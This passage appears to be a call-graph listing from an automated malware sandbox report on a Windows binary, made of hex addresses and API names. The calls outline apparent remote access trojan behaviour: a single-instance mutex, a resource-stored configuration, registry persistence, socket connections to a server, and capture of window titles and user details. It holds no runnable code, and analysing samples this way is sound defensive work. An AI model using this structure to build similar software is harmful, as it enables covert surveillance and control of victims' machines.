47507->47509 47508 448251 47510 44828c SetLastError 47508->47510 47558 448087 20 API calls __Toupper 47509->47558 47560 4460f4 36 API calls 4 library calls 47510->47560 47513 448272 47559 446782 20 API calls __dosmaperr 47513->47559 47514 448298 47516 448279 47516->47503 47516->47510 47518 44f083 ___BuildCatchObject 47517->47518 47519 448215 __Toupper 36 API calls 47518->47519 47524 44f08d 47519->47524 47521 44f111 ___BuildCatchObject 47521->47480 47524->47521 47561 4460f4 36 API calls 4 library calls 47524->47561 47562 445888 EnterCriticalSection 47524->47562 47563 446782 20 API calls __dosmaperr 47524->47563 47564 44f108 LeaveCriticalSection std::_Lockit::~_Lockit 47524->47564 47565 43a7b7 47526->47565 47529 44ed0d GetOEMCP 47531 44ed36 47529->47531 47530 44ed1f 47530->47531 47532 44ed24 GetACP 47530->47532 47531->47483 47533 446137 47531->47533 47532->47531 47534 446175 47533->47534 47538 446145 __Getctype 47533->47538 47576 4405dd 20 API calls _abort 47534->47576 47536 446160 RtlAllocateHeap 47537 446173 47536->47537 47536->47538 47537->47495 47540 44f119 47537->47540 47538->47534 47538->47536 47575 442f80 7 API calls 2 library calls 47538->47575 47541 44ecec 38 API calls 47540->47541 47544 44f138 47541->47544 47542 44f13f 47543 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 47542->47543 47545 44efba 47543->47545 47544->47542 47546 44f189 IsValidCodePage 47544->47546 47549 44f1ae ___scrt_get_show_window_mode 47544->47549 47545->47489 47545->47490 47546->47542 47547 44f19b GetCPInfo 47546->47547 47547->47542 47547->47549 47577 44edc4 GetCPInfo 47549->47577 47550->47495 47551->47483 47552->47492 47553->47495 47554->47501 47555->47502 47556->47508 47557->47507 47558->47513 47559->47516 47560->47514 47561->47524 47562->47524 47563->47524 47564->47524 47566 43a7d4 47565->47566 47572 43a7ca 47565->47572 47567 448215 __Toupper 36 API calls 47566->47567 47566->47572 47568 43a7f5 47567->47568 47573 448364 36 API calls __Toupper 47568->47573 47570 43a80e 47574 448391 36 API calls __fassign 47570->47574 47572->47529 47572->47530 47573->47570 47574->47572 47575->47538 47576->47537 47583 44edfe 47577->47583 47586 44eea8 47577->47586 47580 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 47582 44ef54 47580->47582 47582->47542 47587 45112c 47583->47587 47585 44ae66 _swprintf 41 API calls 47585->47586 47586->47580 47588 43a7b7 __fassign 36 API calls 47587->47588 47589 45114c MultiByteToWideChar 47588->47589 47591 451222 47589->47591 47592 45118a 47589->47592 47593 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 47591->47593 47594 446137 ___crtLCMapStringA 21 API calls 47592->47594 47598 4511ab __alloca_probe_16 ___scrt_get_show_window_mode 47592->47598 47595 44ee5f 47593->47595 47594->47598 47601 44ae66 47595->47601 47596 45121c 47606 435e40 20 API calls _free 47596->47606 47598->47596 47599 4511f0 MultiByteToWideChar 47598->47599 47599->47596 47600 45120c GetStringTypeW 47599->47600 47600->47596 47602 43a7b7 __fassign 36 API calls 47601->47602 47603 44ae79 47602->47603 47607 44ac49 47603->47607 47606->47591 47608 44ac64 ___crtLCMapStringA 47607->47608 47609 44ac8a MultiByteToWideChar 47608->47609 47610 44acb4 47609->47610 47620 44ae3e 47609->47620 47612 44acd5 __alloca_probe_16 47610->47612 47614 446137 ___crtLCMapStringA 21 API calls 47610->47614 47611 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 47613 44ae51 47611->47613 47615 44ad1e MultiByteToWideChar 47612->47615 47630 44ad8a 47612->47630 47613->47585 47614->47612 47616 44ad37 47615->47616 47615->47630 47634 448bb3 47616->47634 47620->47611 47621 44ad61 47623 448bb3 _strftime 11 API calls 47621->47623 47621->47630 47622 44ad99 47625 446137 ___crtLCMapStringA 21 API calls 47622->47625 47628 44adba __alloca_probe_16 47622->47628 47623->47630 47624 44ae2f 47642 435e40 20 API calls _free 47624->47642 47625->47628 47626 448bb3 _strftime 11 API calls 47629 44ae0e 47626->47629 47628->47624 47628->47626 47629->47624 47631 44ae1d WideCharToMultiByte 47629->47631 47643 435e40 20 API calls _free 47630->47643 47631->47624 47632 44ae5d 47631->47632 47644 435e40 20 API calls _free 47632->47644 47635 4484ca __Toupper 5 API calls 47634->47635 47636 448bda 47635->47636 47639 448be3 47636->47639 47645 448c3b 10 API calls 3 library calls 47636->47645 47638 448c23 LCMapStringW 47638->47639 47640 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 47639->47640 47641 448c35 47640->47641 47641->47621 47641->47622 47641->47630 47642->47630 47643->47620 47644->47630 47645->47638 47647 41cb8f LoadLibraryA GetProcAddress 47646->47647 47648 41cb7f GetModuleHandleA GetProcAddress 47646->47648 47649 41cbb8 44 API calls 47647->47649 47650 41cba8 LoadLibraryA GetProcAddress 47647->47650 47648->47647 47649->47127 47650->47649 48067 41b4a8 FindResourceA 47651->48067 47655 40f3ed _Yarn 48077 4020b7 47655->48077 47658 401fe2 28 API calls 47659 40f413 47658->47659 47660 401fd8 11 API calls 47659->47660 47661 40f41c 47660->47661 47662 43bd51 new 21 API calls 47661->47662 47663 40f42d _Yarn 47662->47663 48083 406dd8 47663->48083 47665 40f460 47665->47129 47667 40210c 47666->47667 47668 4023ce 11 API calls 47667->47668 47669 402126 47668->47669 47670 402569 28 API calls 47669->47670 47671 402134 47670->47671 47671->47132 48137 4020df 47672->48137 47674 401fd8 11 API calls 47675 41bed0 47674->47675 47677 401fd8 11 API calls 47675->47677 47676 41bea0 47678 4041a2 28 API calls 47676->47678 47680 41bed8 47677->47680 47681 41beac 47678->47681 47682 401fd8 11 API calls 47680->47682 47683 401fe2 28 API calls 47681->47683 47685 40ea24 47682->47685 47686 41beb5 47683->47686 47684 401fe2 28 API calls 47690 41be2e 47684->47690 47694 40fb17 47685->47694 47687 401fd8 11 API calls 47686->47687 47689 41bebd 47687->47689 47688 401fd8 11 API calls 47688->47690 48145 41ce34 28 API calls 47689->48145 47690->47676 47690->47684 47690->47688 47693 41be9e 47690->47693 48141 4041a2 47690->48141 48144 41ce34 28 API calls 47690->48144 47693->47674 47695 40fb23 47694->47695 47697 40fb2a 47694->47697 48152 402163 11 API calls 47695->48152 47697->47137 47699 402163 47698->47699 47700 40219f 47699->47700 48153 402730 11 API calls 47699->48153 47700->47139 47702 402184 48154 402712 11 API calls std::_Deallocate 47702->48154 47705 401e6d 47704->47705 47707 401e75 47705->47707 48155 402158 22 API calls 47705->48155 47707->47144 47710 4020df 11 API calls 47709->47710 47711 40532a 47710->47711 48156 4032a0 47711->48156 47713 405346 47713->47152 48160 4051ef 47714->48160 47716 406391 48164 402055 47716->48164 47719 401fe2 47720 401ff1 47719->47720 47727 402039 47719->47727 47721 4023ce 11 API calls 47720->47721 47722 401ffa 47721->47722 47723 402015 47722->47723 47724 40203c 47722->47724 48196 403098 28 API calls 47723->48196 47725 40267a 11 API calls 47724->47725 47725->47727 47728 401fd8 47727->47728 47729 4023ce 11 API calls 47728->47729 47730 401fe1 47729->47730 47730->47164 47732 401fd2 47731->47732 47733 401fc9 47731->47733 47732->47170 48197 4025e0 28 API calls 47733->48197 48198 401fab 47735->48198 47737 40d073 CreateMutexA GetLastError 47737->47186 48199 41bfb7 47738->48199 47743 401fe2 28 API calls 47744 41b2ff 47743->47744 47745 401fd8 11 API calls 47744->47745 47746 41b307 47745->47746 47747 4135a6 31 API calls 47746->47747 47749 41b35d 47746->47749 47748 41b330 47747->47748 47750 41b33b StrToIntA 47748->47750 47749->47193 47751 41b352 47750->47751 47752 41b349 47750->47752 47754 401fd8 11 API calls 47751->47754 48207 41cf69 22 API calls 47752->48207 47754->47749 47756 40772a 47755->47756 47757 413549 3 API calls 47756->47757 47758 407731 47757->47758 47758->47203 47758->47204 47760 41bc72 47759->47760 48208 40b904 47760->48208 47762 41bc7a 47762->47220 47764 401f22 47763->47764 47771 401f6a 47763->47771 47765 402252 11 API calls 47764->47765 47766 401f2b 47765->47766 47767 401f6d 47766->47767 47768 401f46 47766->47768 48241 402336 47767->48241 48240 40305c 28 API calls 47768->48240 47772 401f09 47771->47772 47773 402252 11 API calls 47772->47773 47774 401f12 47773->47774 47774->47232 47776 413965 47775->47776 47777 406dd8 28 API calls 47776->47777 47778 41397a 47777->47778 47779 4020f6 28 API calls 47778->47779 47780 41398a 47779->47780 47781 41376f 14 API calls 47780->47781 47782 413994 47781->47782 47783 401fd8 11 API calls 47782->47783 47784 4139a1 47783->47784 47784->47281 47786 40209b 47785->47786 47787 4023ce 11 API calls 47786->47787 47788 4020a6 47787->47788 48245 4024ed 47788->48245 47792 4137bf 47791->47792 47793 413788 47791->47793 47794 401fd8 11 API calls 47792->47794 47796 41379a RegSetValueExA RegCloseKey 47793->47796 47795 40ef9e 47794->47795 47795->47283 47796->47792 47798 43bac5 _strftime 47797->47798 48249 43ae03 47798->48249 47800 40efb7 47800->47290 47800->47292 47802 41b5a0 47801->47802 47803 41b505 GetLocalTime 47801->47803 47805 401fd8 11 API calls 47802->47805 47804 40531e 28 API calls 47803->47804 47806 41b547 47804->47806 47807 41b5a8 47805->47807 47808 406383 28 API calls 47806->47808 47809 401fd8 11 API calls 47807->47809 47811 41b553 47808->47811 47810 40f00d 47809->47810 47810->47307 48276 402f10 47811->48276 47814 406383 28 API calls 47815 41b56b 47814->47815 48281 407200 77 API calls 47815->48281 47817 41b579 47818 401fd8 11 API calls 47817->47818 47819 41b585 47818->47819 47820 401fd8 11 API calls 47819->47820 47821 41b58e 47820->47821 47822 401fd8 11 API calls 47821->47822 47823 41b597 47822->47823 47824 401fd8 11 API calls 47823->47824 47824->47802 47826 409e02 _wcslen 47825->47826 47827 409e24 47826->47827 47828 409e0d 47826->47828 47830 40da34 31 API calls 47827->47830 47829 40da34 31 API calls 47828->47829 47831 409e15 47829->47831 47832 409e2c 47830->47832 47833 401f13 28 API calls 47831->47833 47834 401f13 28 API calls 47832->47834 47836 409e1f 47833->47836 47835 409e3a 47834->47835 47837 401f09 11 API calls 47835->47837 47839 401f09 11 API calls 47836->47839 47838 409e42 47837->47838 48300 40915b 28 API calls 47838->48300 47841 409e79 47839->47841 48285 40a109 47841->48285 47842 409e54 48301 403014 47842->48301 47847 401f13 28 API calls 47848 409e69 47847->47848 47849 401f09 11 API calls 47848->47849 47849->47836 47851 41b630 GetUserNameW 47850->47851 48353 40417e 47851->48353 47856 403014 28 API calls 47857 41b672 47856->47857 47858 401f09 11 API calls 47857->47858 47859 41b67b 47858->47859 47860 401f09 11 API calls 47859->47860 47861 40f223 47860->47861 47861->47360 47863 413520 RegQueryValueExA RegCloseKey 47862->47863 47864 40f2e4 47862->47864 47863->47864 47864->47233 47864->47388 47866 40f392 47865->47866 47867 413a3f RegDeleteValueW 47865->47867 47866->47226 47867->47866 47869 40dd5b 47868->47869 47870 4134ff 3 API calls 47869->47870 47871 40dd62 47870->47871 47872 40dd81 47871->47872 48447 401707 47871->48447 47876 414f2a 47872->47876 47874 40dd6f 48450 413877 RegCreateKeyA 47874->48450 47877 4020df 11 API calls 47876->47877 47878 414f3e 47877->47878 48470 41b8b3 47878->48470 47881 4020df 11 API calls 47882 414f54 47881->47882 47883 401e65 22 API calls 47882->47883 47884 414f62 47883->47884 47885 43baac _strftime 40 API calls 47884->47885 47886 414f6f 47885->47886 47887 414f81 47886->47887 47888 414f74 Sleep 47886->47888 47889 402093 28 API calls 47887->47889 47888->47887 47890 414f90 47889->47890 47891 401e65 22 API calls 47890->47891 47892 414f99 47891->47892 47893 4020f6 28 API calls 47892->47893 47894 414fa4 47893->47894 47895 41be1b 28 API calls 47894->47895 47896 414fac 47895->47896 48474 40489e WSAStartup 47896->48474 47898 414fb6 47899 401e65 22 API calls 47898->47899 47900 414fbf 47899->47900 47901 401e65 22 API calls 47900->47901 47949 41503e 47900->47949 47902 414fd8 47901->47902 47903 401e65 22 API calls 47902->47903 47905 414fe9 47903->47905 47904 4020f6 28 API calls 47904->47949 47907 401e65 22 API calls 47905->47907 47906 41be1b 28 API calls 47906->47949 47908 414ffa 47907->47908 47910 401e65 22 API calls 47908->47910 47909 406c1e 28 API calls 47909->47949 47911 41500b 47910->47911 47913 401e65 22 API calls 47911->47913 47912 401fe2 28 API calls 47912->47949 47914 41501c 47913->47914 47915 401e65 22 API calls 47914->47915 47916 41502e 47915->47916 48618 40473d 89 API calls 47916->48618 47918 401fd8 11 API calls 47918->47949 47919 401e65 22 API calls 47919->47949 47921 41518c WSAGetLastError 48619 41cae1 30 API calls 47921->48619 47926 402093 28 API calls 47971 41519c 47926->47971 47928 41b4ef 80 API calls 47928->47971 47930 40531e 28 API calls 47930->47949 47931 401e65 22 API calls 47931->47971 47932 401e8d 11 API calls 47932->47971 47933 406383 28 API calls 47933->47949 47934 43baac _strftime 40 API calls 47935 415acf Sleep 47934->47935 47935->47971 47936 402f10 28 API calls 47936->47949 47937 402093 28 API calls 47937->47949 47938 41b4ef 80 API calls 47938->47949 47941 40905c 28 API calls 47941->47949 47943 4136f8 3 API calls 47943->47949 47944 4135a6 31 API calls 47944->47949 47945 40417e 28 API calls 47945->47949 47949->47904 47949->47906 47949->47909 47949->47912 47949->47918 47949->47919 47949->47921 47949->47930 47949->47933 47949->47936 47949->47937 47949->47938 47949->47941 47949->47943 47949->47944 47949->47945 47951 401e65 22 API calls 47949->47951 47949->47971 48475 414ee9 47949->48475 48480 40482d 47949->48480 48487 404f51 47949->48487 48502 4048c8 connect 47949->48502 48562 41b7e0 47949->48562 48565 4145bd 47949->48565 48568 441e81 47949->48568 48572 40dd89 47949->48572 48578 41bc42 47949->48578 48581 41bd1e 47949->48581 48585 41bb8e 47949->48585 47952 415439 GetTickCount 47951->47952 47953 41bb8e 28 API calls 47952->47953 47966 415456 47953->47966 47955 41bb8e 28 API calls 47955->47966 47958 41bd1e 28 API calls 47958->47966 47960 402ea1 28 API calls 47960->47966 47961 406383 28 API calls 47961->47966 47962 402f10 28 API calls 47962->47966 47964 401fd8 11 API calls 47964->47966 47965 401f09 11 API calls 47965->47966 47966->47955 47966->47958 47966->47960 47966->47961 47966->47962 47966->47964 47966->47965 48590 41bae6 47966->48590 48592 41ba96 47966->48592 48597 40f8d1 29 API calls 47966->48597 48598 402f31 28 API calls 47966->48598 48599 404c10 47966->48599 48621 404aa1 61 API calls _Yarn 47966->48621 47969 415a71 CreateThread 47969->47971 48811 41ad17 105 API calls 47969->48811 47970 401fd8 11 API calls 47970->47971 47971->47926 47971->47928 47971->47931 47971->47932 47971->47934 47971->47949 47971->47969 47971->47970 47972 401f09 11 API calls 47971->47972 48620 4052fd 28 API calls 47971->48620 48622 40b051 85 API calls 47971->48622 48623 404e26 99 API calls 47971->48623 47972->47971 47973->47145 47974->47153 47975->47157 47978 4020df 11 API calls 47977->47978 47979 406c2a 47978->47979 47980 4032a0 28 API calls 47979->47980 47981 406c47 47980->47981 47981->47178 47983 40eba4 47982->47983 47984 413573 RegQueryValueExA RegCloseKey 47982->47984 47983->47175 47983->47192 47984->47983 47985->47181 47986->47211 47987->47204 47988->47196 47989->47209 48812 401f86 47990->48812 47993 40da70 48816 41b5b4 29 API calls 47993->48816 47994 40daa5 47998 41bfb7 GetCurrentProcess 47994->47998 47996 40da66 47997 40db99 GetLongPathNameW 47996->47997 48000 40417e 28 API calls 47997->48000 48001 40daaa 47998->48001 47999 40da79 48002 401f13 28 API calls 47999->48002 48003 40dbae 48000->48003 48004 40db00 48001->48004 48005 40daae 48001->48005 48043 40da83 48002->48043 48006 40417e 28 API calls 48003->48006 48007 40417e 28 API calls 48004->48007 48008 40417e 28 API calls 48005->48008 48009 40dbbd 48006->48009 48010 40db0e 48007->48010 48011 40dabc 48008->48011 48819 40ddd1 28 API calls 48009->48819 48015 40417e 28 API calls 48010->48015 48016 40417e 28 API calls 48011->48016 48012 401f09 11 API calls 48012->47996 48014 40dbd0 48820 402fa5 28 API calls 48014->48820 48018 40db24 48015->48018 48019 40dad2 48016->48019 48818 402fa5 28 API calls 48018->48818 48817 402fa5 28 API calls 48019->48817 48020 40dbdb 48821 402fa5 28 API calls 48020->48821 48024 40dbe5 48027 401f09 11 API calls 48024->48027 48025 40db2f 48028 401f13 28 API calls 48025->48028 48026 40dadd 48029 401f13 28 API calls 48026->48029 48030 40dbef 48027->48030 48031 40db3a 48028->48031 48032 40dae8 48029->48032 48033 401f09 11 API calls 48030->48033 48034 401f09 11 API calls 48031->48034 48035 401f09 11 API calls 48032->48035 48036 40dbf8 48033->48036 48037 40db43 48034->48037 48038 40daf1 48035->48038 48039 401f09 11 API calls 48036->48039 48040 401f09 11 API calls 48037->48040 48041 401f09 11 API calls 48038->48041 48042 40dc01 48039->48042 48040->48043 48041->48043 48044 401f09 11 API calls 48042->48044 48043->48012 48045 40dc0a 48044->48045 48046 401f09 11 API calls 48045->48046 48047 40dc13 48046->48047 48047->47269 48048->47282 48049->47303 48051 41371e RegQueryValueExA RegCloseKey 48050->48051 48052 413742 48050->48052 48051->48052 48052->47262 48053->47297 48056 4344ef 48054->48056 48055 43bd51 new 21 API calls 48055->48056 48056->48055 48057 40f0d1 48056->48057 48822 442f80 7 API calls 2 library calls 48056->48822 48823 434c35 RaiseException Concurrency::cancel_current_task __CxxThrowException@8 48056->48823 48824 43526e RaiseException Concurrency::cancel_current_task __CxxThrowException@8 48056->48824 48057->47334 48061->47365 48062->47353 48064->47397 48065->47202 48068 41b4c5 LoadResource LockResource SizeofResource 48067->48068 48069 40f3de 48067->48069 48068->48069 48070 43bd51 48069->48070 48075 446137 __Getctype 48070->48075 48071 446175 48087 4405dd 20 API calls _abort 48071->48087 48073 446160 RtlAllocateHeap 48074 446173 48073->48074 48073->48075 48074->47655 48075->48071 48075->48073 48086 442f80 7 API calls 2 library calls 48075->48086 48078 4020bf 48077->48078 48088 4023ce 48078->48088 48080 4020ca 48092 40250a 48080->48092 48082 4020d9 48082->47658 48084 4020b7 28 API calls 48083->48084 48085 406dec 48084->48085 48085->47665 48086->48075 48087->48074 48089 402428 48088->48089 48090 4023d8 48088->48090 48089->48080 48090->48089 48099 4027a7 11 API calls std::_Deallocate 48090->48099 48093 40251a 48092->48093 48094 402520 48093->48094 48095 402535 48093->48095 48100 402569 48094->48100 48110 4028e8 48095->48110 48098 402533 48098->48082 48099->48089 48121 402888 48100->48121 48102 40257d 48103 402592 48102->48103 48104 4025a7 48102->48104 48126 402a34 22 API calls 48103->48126 48106 4028e8 28 API calls 48104->48106 48109 4025a5 48106->48109 48107 40259b 48127 4029da 22 API calls 48107->48127 48109->48098 48111 4028f1 48110->48111 48112 402953 48111->48112 48113 4028fb 48111->48113 48135 4028a4 22 API calls 48112->48135 48116 402904 48113->48116 48117 402917 48113->48117 48129 402cae 48116->48129 48118 402915 48117->48118 48120 4023ce 11 API calls 48117->48120 48118->48098 48120->48118 48122 402890 48121->48122 48123 402898 48122->48123 48128 402ca3 22 API calls 48122->48128 48123->48102 48126->48107 48127->48109 48130 402cb8 __EH_prolog 48129->48130 48136 402e54 22 API calls 48130->48136 48132 4023ce 11 API calls 48134 402d92 48132->48134 48133 402d24 48133->48132 48134->48118 48136->48133 48138 4020e7 48137->48138 48139 4023ce 11 API calls 48138->48139 48140 4020f2 48139->48140 48140->47690 48146 40423a 48141->48146 48144->47690 48145->47693 48147 404243 48146->48147 48148 4023ce 11 API calls 48147->48148 48149 40424e 48148->48149 48150 402569 28 API calls 48149->48150 48151 4041b5 48150->48151 48151->47690 48152->47697 48153->47702 48154->47700 48158 4032aa 48156->48158 48157 4032c9 48157->47713 48158->48157 48159 4028e8 28 API calls 48158->48159 48159->48157 48161 4051fb 48160->48161 48170 405274 48161->48170 48163 405208 48163->47716 48165 402061 48164->48165 48166 4023ce 11 API calls 48165->48166 48167 40207b 48166->48167 48192 40267a 48167->48192 48171 405282 48170->48171 48172 405288 48171->48172 48173 40529e 48171->48173 48181 4025f0 48172->48181 48175 4052f5 48173->48175 48176 4052b6 48173->48176 48190 4028a4 22 API calls 48175->48190 48179 4028e8 28 API calls 48176->48179 48180 40529c 48176->48180 48179->48180 48180->48163 48182 402888 22 API calls 48181->48182 48183 402602 48182->48183 48184 402672 48183->48184 48185 402629 48183->48185 48191 4028a4 22 API calls 48184->48191 48188 4028e8 28 API calls 48185->48188 48189 40263b 48185->48189 48188->48189 48189->48180 48193 40268b 48192->48193 48194 4023ce 11 API calls 48193->48194 48195 40208d 48194->48195 48195->47719 48196->47727 48197->47732 48200 41bfc4 GetCurrentProcess 48199->48200 48201 41b2d1 48199->48201 48200->48201 48202 4135a6 RegOpenKeyExA 48201->48202 48203 4135d4 RegQueryValueExA RegCloseKey 48202->48203 48204 4135fe 48202->48204 48203->48204 48205 402093 28 API calls 48204->48205 48206 413613 48205->48206 48206->47743 48207->47751 48209 40b90c 48208->48209 48214 402252 48209->48214 48211 40b917 48218 40b92c 48211->48218 48213 40b926 48213->47762 48215 4022ac 48214->48215 48216 40225c 48214->48216 48215->48211 48216->48215 48225 402779 11 API calls std::_Deallocate 48216->48225 48219 40b966 48218->48219 48220 40b938 48218->48220 48237 4028a4 22 API calls 48219->48237 48226 4027e6 48220->48226 48224 40b942 48224->48213 48225->48215 48227 4027ef 48226->48227 48228 402851 48227->48228 48229 4027f9 48227->48229 48239 4028a4 22 API calls 48228->48239 48232 402802 48229->48232 48234 402815 48229->48234 48238 402aea 28 API calls __EH_prolog 48232->48238 48235 402813 48234->48235 48236 402252 11 API calls 48234->48236 48235->48224 48236->48235 48238->48235 48240->47771 48242 402347 48241->48242 48243 402252 11 API calls 48242->48243 48244 4023c7 48243->48244 48244->47771 48246 4024f9 48245->48246 48247 40250a 28 API calls 48246->48247 48248 4020b1 48247->48248 48248->47275 48265 43ba0a 48249->48265 48251 43ae50 48252 43a7b7 __fassign 36 API calls 48251->48252 48257 43ae5c 48252->48257 48253 43ae15 48253->48251 48254 43ae2a 48253->48254 48264 43ae2f __wsopen_s 48253->48264 48270 4405dd 20 API calls _abort 48254->48270 48258 43ae8b 48257->48258 48271 43ba4f 40 API calls __Toupper 48257->48271 48261 43aef7 48258->48261 48272 43b9b6 20 API calls 2 library calls 48258->48272 48273 43b9b6 20 API calls 2 library calls 48261->48273 48262 43afbe _strftime 48262->48264 48274 4405dd 20 API calls _abort 48262->48274 48264->47800 48266 43ba22 48265->48266 48267 43ba0f 48265->48267 48266->48253 48275 4405dd 20 API calls _abort 48267->48275 48269 43ba14 __wsopen_s 48269->48253 48270->48264 48271->48257 48272->48261 48273->48262 48274->48264 48275->48269 48282 401fb0 48276->48282 48278 402f1e 48279 402055 11 API calls 48278->48279 48280 402f2d 48279->48280 48280->47814 48281->47817 48283 4025f0 28 API calls 48282->48283 48284 401fbd 48283->48284 48284->48278 48286 40a127 48285->48286 48287 413549 3 API calls 48286->48287 48288 40a12e 48287->48288 48289 40a142 48288->48289 48290 40a15c 48288->48290 48292 409e9b 48289->48292 48293 40a147 48289->48293 48291 40905c 28 API calls 48290->48291 48295 40a16a 48291->48295 48292->47326 48306 40905c 48293->48306 48313 40a179 86 API calls 48295->48313 48299 40a15a 48299->48292 48300->47842 48330 403222 48301->48330 48303 403022 48334 403262 48303->48334 48307 409072 48306->48307 48308 402252 11 API calls 48307->48308 48309 40908c 48308->48309 48314 404267 48309->48314 48311 40909a 48312 40a22d 29 API calls 48311->48312 48312->48299 48326 40a273 163 API calls 48312->48326 48313->48292 48327 40a267 86 API calls 48313->48327 48328 40a289 48 API calls 48313->48328 48329 40a27d 128 API calls 48313->48329 48315 402888 22 API calls 48314->48315 48316 40427b 48315->48316 48317 404290 48316->48317 48318 4042a5 48316->48318 48324 4042df 22 API calls 48317->48324 48320 4027e6 28 API calls 48318->48320 48323 4042a3 48320->48323 48321 404299 48325 402c48 22 API calls 48321->48325 48323->48311 48324->48321 48325->48323 48331 40322e 48330->48331 48340 403618 48331->48340 48333 40323b 48333->48303 48335 40326e 48334->48335 48336 402252 11 API calls 48335->48336 48337 403288 48336->48337 48338 402336 11 API calls 48337->48338 48339 403031 48338->48339 48339->47847 48341 403626 48340->48341 48342 403644 48341->48342 48343 40362c 48341->48343 48345 40369e 48342->48345 48347 40365c 48342->48347 48351 4036a6 28 API calls 48343->48351 48352 4028a4 22 API calls 48345->48352 48348 4027e6 28 API calls 48347->48348 48350 403642 48347->48350 48348->48350 48350->48333 48351->48350 48354 404186 48353->48354 48355 402252 11 API calls 48354->48355 48356 404191 48355->48356 48364 4041bc 48356->48364 48359 4042fc 48375 404353 48359->48375 48361 40430a 48362 403262 11 API calls 48361->48362 48363 404319 48362->48363 48363->47856 48365 4041c8 48364->48365 48368 4041d9 48365->48368 48367 40419c 48367->48359 48369 4041e9 48368->48369 48370 404206 48369->48370 48371 4041ef 48369->48371 48372 4027e6 28 API calls 48370->48372 48373 404267 28 API calls 48371->48373 48374 404204 48372->48374 48373->48374 48374->48367 48376 40435f 48375->48376 48379 404371 48376->48379 48378 40436d 48378->48361 48380 40437f 48379->48380 48381 40439e 48380->48381 48383 404385 48380->48383 48382 402888 22 API calls 48381->48382 48384 4043a6 48382->48384 48445 4034e6 28 API calls 48383->48445 48386 404419 48384->48386 48387 4043bf 48384->48387 48446 4028a4 22 API calls 48386->48446 48389 4027e6 28 API calls 48387->48389 48398 40439c 48387->48398 48389->48398 48398->48378 48445->48398 48453 43aa9a 48447->48453 48451 4138b9 48450->48451 48452 41388f RegSetValueExA RegCloseKey 48450->48452 48451->47872 48452->48451 48456 43aa1b 48453->48456 48455 40170d 48455->47874 48457 43aa2a 48456->48457 48458 43aa3e 48456->48458 48469 4405dd 20 API calls _abort 48457->48469 48461 43aa2f __alldvrm __wsopen_s 48458->48461 48462 448957 48458->48462 48461->48455 48463 4484ca __Toupper 5 API calls 48462->48463 48464 44897e 48463->48464 48465 448996 GetSystemTimeAsFileTime 48464->48465 48466 44898a 48464->48466 48465->48466 48467 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 48466->48467 48468 4489a7 48467->48468 48468->48461 48469->48461 48473 41b8f9 _Yarn ___scrt_get_show_window_mode 48470->48473 48471 402093 28 API calls 48472 414f49 48471->48472 48472->47881 48473->48471 48474->47898 48476 414f02 getaddrinfo WSASetLastError 48475->48476 48477 414ef8 48475->48477 48476->47949 48624 414d86 48477->48624 48481 404846 socket 48480->48481 48482 404839 48480->48482 48484 404860 CreateEventW 48481->48484 48485 404842 48481->48485 48663 40489e WSAStartup 48482->48663 48484->47949 48485->47949 48486 40483e 48486->48481 48486->48485 48488 404f65 48487->48488 48489 404fea 48487->48489 48490 404f6e 48488->48490 48491 404fc0 CreateEventA CreateThread 48488->48491 48492 404f7d GetLocalTime 48488->48492 48489->47949 48490->48491 48491->48489 48665 405150 48491->48665 48493 41bb8e 28 API calls 48492->48493 48494 404f91 48493->48494 48664 4052fd 28 API calls 48494->48664 48503 404a1b 48502->48503 48504 4048ee 48502->48504 48505 40497e 48503->48505 48506 404a21 WSAGetLastError 48503->48506 48504->48505 48507 404923 48504->48507 48510 40531e 28 API calls 48504->48510 48505->47949 48506->48505 48508 404a31 48506->48508 48669 420c60 27 API calls 48507->48669 48511 404932 48508->48511 48512 404a36 48508->48512 48515 40490f 48510->48515 48518 402093 28 API calls 48511->48518 48674 41cae1 30 API calls 48512->48674 48514 40492b 48514->48511 48517 404941 48514->48517 48519 402093 28 API calls 48515->48519 48516 404a40 48675 4052fd 28 API calls 48516->48675 48527 404950 48517->48527 48528 404987 48517->48528 48522 404a80 48518->48522 48520 40491e 48519->48520 48523 41b4ef 80 API calls 48520->48523 48525 402093 28 API calls 48522->48525 48523->48507 48529 404a8f 48525->48529 48533 402093 28 API calls 48527->48533 48671 421a40 54 API calls 48528->48671 48530 41b4ef 80 API calls 48529->48530 48530->48505 48536 40495f 48533->48536 48535 40498f 48538 4049c4 48535->48538 48539 404994 48535->48539 48540 402093 28 API calls 48536->48540 48673 420e06 28 API calls 48538->48673 48543 402093 28 API calls 48539->48543 48544 40496e 48540->48544 48546 4049a3 48543->48546 48547 41b4ef 80 API calls 48544->48547 48545 4049cc 48549 4049f9 CreateEventW CreateEventW 48545->48549 48551 402093 28 API calls 48545->48551 48550 402093 28 API calls 48546->48550 48548 404973 48547->48548 48670 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48548->48670 48549->48505 48552 4049b2 48550->48552 48554 4049e2 48551->48554 48555 41b4ef 80 API calls 48552->48555 48556 402093 28 API calls 48554->48556 48557 4049b7 48555->48557 48558 4049f1 48556->48558 48672 4210b2 52 API calls 48557->48672 48560 41b4ef 80 API calls 48558->48560 48561 4049f6 48560->48561 48561->48549 48676 41b7b6 GlobalMemoryStatusEx 48562->48676 48564 41b7f5 48564->47949 48677 414580 48565->48677 48569 441e8d 48568->48569 48706 441c7d 48569->48706 48571 441eae 48571->47949 48573 40dda5 48572->48573 48574 4134ff 3 API calls 48573->48574 48576 40ddac 48574->48576 48575 40ddc4 48575->47949 48576->48575 48577 413549 3 API calls 48576->48577 48577->48575 48579 4020b7 28 API calls 48578->48579 48580 41bc57 48579->48580 48580->47949 48582 41bd2b 48581->48582 48583 4020b7 28 API calls 48582->48583 48584 41bd3d 48583->48584 48584->47949 48586 441e81 20 API calls 48585->48586 48587 41bbb2 48586->48587 48588 402093 28 API calls 48587->48588 48589 41bbc0 48588->48589 48589->47949 48591 41bafc GetTickCount 48590->48591 48591->47966 48593 436e90 ___scrt_get_show_window_mode 48592->48593 48594 41bab5 GetForegroundWindow GetWindowTextW 48593->48594 48595 40417e 28 API calls 48594->48595 48596 41badf 48595->48596 48596->47966 48597->47966 48598->47966 48600 4020df 11 